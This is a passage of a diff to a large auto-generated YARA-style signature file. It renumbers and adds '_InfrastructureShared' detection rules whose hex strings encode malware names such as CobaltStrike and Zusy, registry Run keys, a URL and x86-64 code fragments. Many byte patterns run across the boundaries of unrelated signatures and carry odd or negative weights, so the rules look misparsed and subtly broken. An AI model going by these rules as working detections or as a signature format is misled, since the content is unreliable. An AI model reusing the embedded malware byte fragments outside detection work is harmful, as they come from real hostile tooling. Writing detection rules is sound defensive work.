73 61 67 65 3a 20 25 73 20 5b 70 64 66 31 5f 70 61 74 68 5d 20 5b 70 64 66 32 5f 70 61 74 68 5d 20 5b 73 63 72 69 70 74 5f 6c 69 6e 6b 5d 20 5b 74 61 72 67 65 74 5f 70 61 74 68 5d 64 00 17 01 2d 2d 72 } //12082 - $a_6c_3 = {3a 20 20 20 20 20 73 75 63 63 65 73 73 65 64 00 00 78 8a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 57 61 6c 6c 79 4c 6f 61 64 2e 41 21 64 68 61 00 64 00 20 03 b8 4d 5a 00 00 66 39 01 0f 85 90 01 04 48 63 90 01 01 3c 48 90 02 02 08 01 00 00 48 3b d0 90 00 64 00 2d 01 55 6c 74 72 61 } //29541 - $a_2e_4 = {69 65 77 65 72 2e 46 69 6c 65 54 72 61 6e 73 66 65 72 53 65 6e 64 50 61 63 6b 65 74 4d 65 73 73 61 67 65 00 00 78 8b 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 } //20054 + $a_01_1 = {00 11 00 35 74 68 72 65 76 6f 6c 75 74 69 6f 6e 2e 63 6f 6d 00 00 78 8a 00 00 23 00 23 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 } //12850 + $a_4d_2 = {21 4d 54 42 00 14 00 1c 01 48 8b 15 71 ee 03 00 4c 8b c1 8b ca 48 33 15 b5 24 04 00 83 e1 3f 48 d3 ca 48 85 d2 0a 00 12 01 48 8b 35 df ef 03 00 8b ce 83 e1 3f 48 33 37 48 d3 ce 05 00 28 01 cc cc 48 89 7c 24 08 48 8d 3d 04 28 04 } //11897 + $a_05_3 = {0d 29 04 00 48 3b c7 48 8b 05 e3 f2 03 00 48 1b c9 48 f7 d1 83 e1 22 00 00 78 8a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 74 61 79 45 67 67 2e 41 21 64 68 61 00 64 00 3d 01 75 73 61 67 65 3a 20 25 73 20 5b 70 64 66 31 5f 70 61 74 68 5d 20 5b 70 64 66 32 5f 70 61 74 68 5d 20 5b 73 63 72 69 70 74 5f 6c 69 6e 6b 5d 20 5b 74 61 72 67 65 74 5f 70 61 74 68 5d 64 00 17 } //18432 + $a_72_4 = {73 75 6c 74 3a 20 20 20 20 20 73 75 63 63 65 73 73 65 64 00 00 78 8a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 } //11521 condition: - ((#a_77_0 & 1)*16675+(#a_01_1 & 1)*12850+(#a_74_2 & 1)*12082+(#a_6c_3 & 1)*29541+(#a_2e_4 & 1)*20054) >=21 + ((#a_77_0 & 1)*16675+(#a_01_1 & 1)*12850+(#a_4d_2 & 1)*11897+(#a_05_3 & 1)*18432+(#a_72_4 & 1)*11521) >=21 } -rule _InfrastructureShared_9265{ +rule _InfrastructureShared_9848{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 4c 4d 49 21 4d 54 42 00 14 00 1c 01 48 8b 15 71 ee 03 00 4c 8b c1 8b ca 48 33 15 b5 24 04 00 83 e1 3f 48 d3 ca 48 85 d2 0a 00 12 01 48 8b 35 df ef 03 00 } //21539 + $a_e1_1 = {48 33 37 48 d3 ce 05 00 28 01 cc cc 48 89 7c 24 08 48 8d 3d 04 28 04 00 48 8d 05 0d 29 04 00 48 3b c7 48 8b 05 e3 f2 03 00 48 1b c9 48 f7 d1 83 e1 22 00 00 78 8a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 74 61 79 45 67 67 2e 41 21 64 68 61 00 64 00 3d 01 75 73 61 67 65 3a 20 25 73 20 5b 70 64 66 31 5f 70 61 74 68 5d 20 5b 70 64 66 32 } //-12661 + $a_74_2 = {5d 20 5b 73 63 72 69 70 74 5f 6c 69 6e 6b 5d 20 5b 74 61 72 67 65 74 5f 70 61 74 68 5d 64 00 17 01 2d 2d 72 65 73 75 6c 74 3a 20 20 20 20 20 73 75 63 63 65 73 73 65 64 00 00 78 8a 00 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f } //28767 + condition: + ((#a_4c_0 & 1)*21539+(#a_e1_1 & 1)*-12661+(#a_74_2 & 1)*28767) >=35 + +} +rule _InfrastructureShared_9849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -99451,7 +105824,7 @@ rule _InfrastructureShared_9265{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*24436) >=200 } -rule _InfrastructureShared_9266{ +rule _InfrastructureShared_9850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -99462,7 +105835,7 @@ rule _InfrastructureShared_9266{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*11520) >=200 } -rule _InfrastructureShared_9267{ +rule _InfrastructureShared_9851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99472,7 +105845,7 @@ rule _InfrastructureShared_9267{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9268{ +rule _InfrastructureShared_9852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99482,7 +105855,7 @@ rule _InfrastructureShared_9268{ ((#a_50_0 & 1)*17955) >=1 } -rule _InfrastructureShared_9269{ +rule _InfrastructureShared_9853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99492,7 +105865,7 @@ rule _InfrastructureShared_9269{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9270{ +rule _InfrastructureShared_9854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99502,7 +105875,7 @@ rule _InfrastructureShared_9270{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9271{ +rule _InfrastructureShared_9855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99512,7 +105885,7 @@ rule _InfrastructureShared_9271{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9272{ +rule _InfrastructureShared_9856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99522,7 +105895,7 @@ rule _InfrastructureShared_9272{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9273{ +rule _InfrastructureShared_9857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99532,7 +105905,7 @@ rule _InfrastructureShared_9273{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9274{ +rule _InfrastructureShared_9858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99542,7 +105915,7 @@ rule _InfrastructureShared_9274{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9275{ +rule _InfrastructureShared_9859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99552,7 +105925,7 @@ rule _InfrastructureShared_9275{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9276{ +rule _InfrastructureShared_9860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99562,7 +105935,7 @@ rule _InfrastructureShared_9276{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9277{ +rule _InfrastructureShared_9861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99572,7 +105945,7 @@ rule _InfrastructureShared_9277{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9278{ +rule _InfrastructureShared_9862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99582,7 +105955,7 @@ rule _InfrastructureShared_9278{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9279{ +rule _InfrastructureShared_9863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99592,7 +105965,7 @@ rule _InfrastructureShared_9279{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9280{ +rule _InfrastructureShared_9864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99602,7 +105975,7 @@ rule _InfrastructureShared_9280{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9281{ +rule _InfrastructureShared_9865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99612,7 +105985,7 @@ rule _InfrastructureShared_9281{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9282{ +rule _InfrastructureShared_9866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -99622,7 +105995,7 @@ rule _InfrastructureShared_9282{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_9283{ +rule _InfrastructureShared_9867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -99633,7 +106006,7 @@ rule _InfrastructureShared_9283{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*13410) >=1 } -rule _InfrastructureShared_9284{ +rule _InfrastructureShared_9868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -99644,7 +106017,7 @@ rule _InfrastructureShared_9284{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*11097) >=1 } -rule _InfrastructureShared_9285{ +rule _InfrastructureShared_9869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -99655,7 +106028,7 @@ rule _InfrastructureShared_9285{ ((#a_54_0 & 1)*18467+(#a_a2_1 & 1)*769) >=1 } -rule _InfrastructureShared_9286{ +rule _InfrastructureShared_9870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -99666,7 +106039,7 @@ rule _InfrastructureShared_9286{ ((#a_54_0 & 1)*18467+(#a_c2_1 & 1)*808) >=1 } -rule _InfrastructureShared_9287{ +rule _InfrastructureShared_9871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -99677,7 +106050,20 @@ rule _InfrastructureShared_9287{ ((#a_4c_0 & 1)*21539+(#a_70_1 & 1)*4098) >=1 } -rule _InfrastructureShared_9288{ +rule _InfrastructureShared_9872{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 72 6d 61 6e 74 57 68 61 6c 65 2e 41 21 64 68 61 00 01 00 17 80 01 4f 75 74 6c 6f 6f 6b 2f 31 36 2e 30 2e 31 32 33 34 35 2e 36 37 38 39 01 00 07 80 01 00 7a 74 6e 37 68 2e 01 00 07 80 } //16675 + $a_74_1 = {37 68 2d 01 00 24 80 01 33 66 37 39 30 64 63 33 2d 31 36 66 61 2d 34 65 35 35 2d 61 66 61 35 2d 39 38 37 31 39 38 63 37 65 31 63 38 00 00 78 8b 00 00 01 00 01 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 6c 65 78 59 61 63 53 61 66 65 44 65 73 6b 46 69 6c 65 73 2e 41 00 01 00 10 80 01 2e 2e 5c 6e 6f 64 72 69 76 65 69 6e 6a 65 63 74 01 00 15 80 01 2e 2e 5c } //1 + $a_6b_2 = {6c 6c 50 61 74 63 68 36 34 2e 64 6c 6c 01 00 13 80 01 2e 2e 5c 69 44 73 6b 44 6c 6c 50 61 74 63 68 2e 64 6c 6c 01 00 12 80 01 2e 2e 5c 69 53 61 66 65 54 48 6c 70 36 34 2e 65 78 65 00 00 78 8b 00 00 01 00 01 00 05 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 57 6f 72 6d 3a 42 6f 6b 69 6c 6c 00 01 00 15 01 42 6f 74 6b 69 6c 6c 65 72 44 65 6c 61 79 } //17513 + $a_74_3 = {72 74 01 00 0e 01 46 61 63 65 62 6f 6f 6b 53 70 72 65 61 64 01 00 0b 01 43 6f 6e 74 61 64 6f 72 55 41 43 01 00 19 01 53 65 6e 64 6d 65 73 73 61 67 65 53 70 72 65 61 64 46 61 63 65 62 6f 6f 6b 01 00 0f 01 54 77 69 74 74 65 72 53 70 72 65 61 64 65 72 00 00 78 8b 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 48 61 63 6b 54 6f 6f 6c 3a } //25970 + condition: + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*1+(#a_6b_2 & 1)*17513+(#a_74_3 & 1)*25970) >=1 + +} +rule _InfrastructureShared_9873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -99689,7 +106075,7 @@ rule _InfrastructureShared_9288{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*27756+(#a_2e_2 & 1)*384) >=1 } -rule _InfrastructureShared_9289{ +rule _InfrastructureShared_9874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -99703,7 +106089,7 @@ rule _InfrastructureShared_9289{ ((#a_77_0 & 1)*19491+(#a_74_1 & 1)*26999+(#a_00_2 & 1)*99+(#a_00_3 & 1)*117+(#a_00_4 & 1)*115) >=1 } -rule _InfrastructureShared_9290{ +rule _InfrastructureShared_9875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99713,7 +106099,7 @@ rule _InfrastructureShared_9290{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_9291{ +rule _InfrastructureShared_9876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99724,7 +106110,7 @@ rule _InfrastructureShared_9291{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*46) >=2 } -rule _InfrastructureShared_9292{ +rule _InfrastructureShared_9877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99734,7 +106120,7 @@ rule _InfrastructureShared_9292{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_9293{ +rule _InfrastructureShared_9878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99744,7 +106130,7 @@ rule _InfrastructureShared_9293{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_9294{ +rule _InfrastructureShared_9879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99755,7 +106141,7 @@ rule _InfrastructureShared_9294{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29968) >=2 } -rule _InfrastructureShared_9295{ +rule _InfrastructureShared_9880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99766,7 +106152,7 @@ rule _InfrastructureShared_9295{ ((#a_63_0 & 1)*17699+(#a_78_1 & 1)*11884) >=2 } -rule _InfrastructureShared_9296{ +rule _InfrastructureShared_9881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99777,7 +106163,7 @@ rule _InfrastructureShared_9296{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32) >=2 } -rule _InfrastructureShared_9297{ +rule _InfrastructureShared_9882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99788,7 +106174,7 @@ rule _InfrastructureShared_9297{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32) >=2 } -rule _InfrastructureShared_9298{ +rule _InfrastructureShared_9883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99799,7 +106185,7 @@ rule _InfrastructureShared_9298{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*6152) >=2 } -rule _InfrastructureShared_9299{ +rule _InfrastructureShared_9884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99810,7 +106196,7 @@ rule _InfrastructureShared_9299{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*1811) >=2 } -rule _InfrastructureShared_9300{ +rule _InfrastructureShared_9885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99820,7 +106206,7 @@ rule _InfrastructureShared_9300{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_9301{ +rule _InfrastructureShared_9886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99831,7 +106217,7 @@ rule _InfrastructureShared_9301{ ((#a_54_0 & 1)*18467+(#a_1d_1 & 1)*2838) >=2 } -rule _InfrastructureShared_9302{ +rule _InfrastructureShared_9887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99842,7 +106228,7 @@ rule _InfrastructureShared_9302{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101) >=2 } -rule _InfrastructureShared_9303{ +rule _InfrastructureShared_9888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -99853,21 +106239,35 @@ rule _InfrastructureShared_9303{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*-15735) >=2 } -rule _InfrastructureShared_9304{ +rule _InfrastructureShared_9889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " strings : $a_46_0 = {48 53 54 52 3a 57 69 6e 33 32 2f 53 70 65 65 73 69 70 72 6f 2e 41 00 01 00 07 01 77 66 6f 2e 65 78 65 01 00 09 01 77 69 6e 66 6f 2e 65 78 65 01 00 11 01 57 69 6e 64 6f 77 73 46 69 6c 65 4f 70 65 6e 65 72 01 00 0d 01 57 69 6e 46 } //16675 - $a_48_1 = {6c 70 65 72 02 00 24 01 66 31 32 35 33 61 61 65 2d 36 65 30 33 2d 34 33 33 38 2d 61 32 33 64 2d 62 64 66 65 33 61 36 66 33 63 64 66 00 00 78 8b 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6f 6f 6b 74 6f 6f 2e 41 21 64 68 61 00 03 00 24 02 5c 45 49 50 90 03 01 01 } //27753 - $a_30_2 = {03 01 01 32 31 90 01 01 90 03 01 01 5f 2d 90 01 04 2e 70 64 62 90 00 03 00 36 02 5c 45 49 50 90 03 01 01 5f 2d 32 30 90 03 01 01 32 31 90 01 01 90 03 } //11615 - $a_2d_3 = {01 04 2d 52 65 66 6c 65 63 74 69 76 65 2d 44 4c 4c 90 02 04 2e 70 64 62 90 00 00 00 78 8b 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 72 74 50 61 67 65 2e 5a 58 21 62 69 74 00 02 00 14 01 68 74 74 70 3a 2f 2f 39 69 66 7a 2e } //257 - $a_2f_4 = {33 34 35 01 00 24 01 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 01 00 16 01 5c 52 65 6c 65 61 73 65 5c 4e 76 42 61 63 6b 65 6e 64 2e 70 64 62 00 00 78 8b 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d } //29295 + $a_48_1 = {6c 70 65 72 02 00 24 01 66 31 32 35 33 61 61 65 2d 36 65 30 33 2d 34 33 33 38 2d 61 32 33 64 2d 62 64 66 65 33 61 36 66 33 63 64 66 00 00 78 8b 00 00 02 00 02 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 52 65 67 69 73 74 72 79 4f 70 65 72 61 74 69 6f 6e 73 2e 50 52 21 41 4d 54 42 00 01 00 0c 81 01 } //27753 + $a_4f_2 = {65 6e 4b 65 79 45 78 01 00 0d 81 01 52 65 67 53 65 74 56 61 6c 75 65 45 78 01 00 0c 81 01 52 65 67 44 65 6c 65 74 65 4b 65 79 01 00 0e 81 01 52 65 67 43 72 65 61 74 65 4b 65 79 45 78 01 00 0f 81 01 52 65 67 51 75 65 72 79 56 61 6c 75 65 45 78 00 00 78 8b 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a } //25938 + $a_57_3 = {6e 33 32 2f 42 6f 6f 6b 74 6f 6f 2e 41 21 64 68 61 00 03 00 24 02 5c 45 49 50 (5f|2d) 32 30 90 03 01 01 32 31 ?? (5f|2d) ?? ?? ?? ?? 2e 70 64 62 } //28257 + $a_02_4 = {5c 45 49 50 (5f|2d) 32 30 90 03 01 01 32 31 ?? (5f|2d) ?? ?? ?? ?? 2d 52 65 66 6c 65 63 74 69 76 65 2d 44 4c 4c [0-04] 2e 70 64 62 } //3 condition: - ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*27753+(#a_30_2 & 1)*11615+(#a_2d_3 & 1)*257+(#a_2f_4 & 1)*29295) >=2 + ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*27753+(#a_4f_2 & 1)*25938+(#a_57_3 & 1)*28257+(#a_02_4 & 1)*3) >=2 } -rule _InfrastructureShared_9305{ +rule _InfrastructureShared_9890{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 52 65 67 69 73 74 72 79 4f 70 65 72 61 74 69 6f 6e 73 2e 50 52 21 41 4d 54 42 00 01 00 0c 81 01 52 65 67 4f 70 65 6e 4b 65 79 45 78 01 00 0d 81 01 52 65 67 53 65 74 56 61 6c 75 65 45 78 01 00 0c 81 01 52 65 67 44 65 6c 65 74 65 } //18467 + $a_01_1 = {00 0e 81 01 52 65 67 43 72 65 61 74 65 4b 65 79 45 78 01 00 0f 81 01 52 65 67 51 75 65 72 79 56 61 6c 75 65 45 78 00 00 78 8b 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6f 6f 6b 74 6f 6f 2e 41 21 64 68 61 00 03 00 24 02 5c 45 49 50 90 03 01 01 5f 2d 32 30 90 03 01 01 32 31 90 01 01 90 03 01 01 5f 2d 90 01 04 2e 70 64 62 } //25931 + $a_00_2 = {36 02 5c } //144 + $a_90_3 = {01 01 5f 2d 32 30 90 03 01 01 32 31 90 01 01 90 03 01 01 5f 2d 90 01 04 2d 52 65 66 6c 65 63 74 69 76 65 2d 44 4c 4c 90 02 04 2e 70 64 62 90 00 00 00 78 8b 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 } //18757 + $a_6c_4 = {53 74 72 69 6b 65 2e 47 56 43 21 4d 54 42 00 02 00 39 02 8b f8 8d 4a 04 ff 15 90 01 04 48 8b c8 48 8d 54 24 68 48 8b d8 ff 15 90 01 04 85 c0 90 02 0a 48 8b cb 39 7c 24 74 90 01 02 48 8d 54 24 68 ff 15 90 01 04 85 c0 75 e8 90 00 01 00 1a 01 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 } //25199 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25931+(#a_00_2 & 1)*144+(#a_90_3 & 1)*18757+(#a_6c_4 & 1)*25199) >=2 + +} +rule _InfrastructureShared_9891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -99878,7 +106278,18 @@ rule _InfrastructureShared_9305{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*259) >=3 } -rule _InfrastructureShared_9306{ +rule _InfrastructureShared_9892{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 47 56 43 21 4d 54 42 00 02 00 39 02 8b f8 8d 4a 04 ff 15 90 01 04 48 8b c8 48 8d 54 24 68 48 8b d8 ff 15 90 01 04 85 c0 90 02 0a } //21539 + $a_39_1 = {24 74 90 01 02 48 8d 54 24 68 ff 15 90 01 04 85 c0 75 e8 90 00 01 00 1a 01 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 00 00 78 8b 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 72 74 50 61 67 65 2e 5a 58 21 62 69 74 00 02 00 14 01 68 74 74 70 3a 2f 2f 39 69 66 7a 2e 6f 72 67 2f 32 33 34 35 01 00 24 01 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 01 00 16 01 5c 52 65 6c 65 61 73 65 5c 4e 76 42 61 63 6b 65 6e 64 2e 70 64 62 00 00 78 8b 00 00 03 00 03 } //-29880 + condition: + ((#a_4c_0 & 1)*21539+(#a_39_1 & 1)*-29880) >=3 + +} +rule _InfrastructureShared_9893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -99890,7 +106301,7 @@ rule _InfrastructureShared_9306{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28516+(#a_00_2 & 1)*97) >=3 } -rule _InfrastructureShared_9307{ +rule _InfrastructureShared_9894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -99901,7 +106312,7 @@ rule _InfrastructureShared_9307{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101) >=3 } -rule _InfrastructureShared_9308{ +rule _InfrastructureShared_9895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -99913,7 +106324,7 @@ rule _InfrastructureShared_9308{ ((#a_46_0 & 1)*16675+(#a_da_1 & 1)*-28668+(#a_cb_2 & 1)*-20478) >=3 } -rule _InfrastructureShared_9309{ +rule _InfrastructureShared_9896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -99925,7 +106336,7 @@ rule _InfrastructureShared_9309{ ((#a_46_0 & 1)*16675+(#a_10_1 & 1)*9284+(#a_04_2 & 1)*17545) >=3 } -rule _InfrastructureShared_9310{ +rule _InfrastructureShared_9897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -99937,7 +106348,7 @@ rule _InfrastructureShared_9310{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*8291+(#a_93_2 & 1)*26624) >=3 } -rule _InfrastructureShared_9311{ +rule _InfrastructureShared_9898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -99949,7 +106360,7 @@ rule _InfrastructureShared_9311{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*0+(#a_6a_2 & 1)*29268) >=3 } -rule _InfrastructureShared_9312{ +rule _InfrastructureShared_9899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -99960,7 +106371,7 @@ rule _InfrastructureShared_9312{ ((#a_54_0 & 1)*18467+(#a_4b_1 & 1)*14137) >=3 } -rule _InfrastructureShared_9313{ +rule _InfrastructureShared_9900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -99972,7 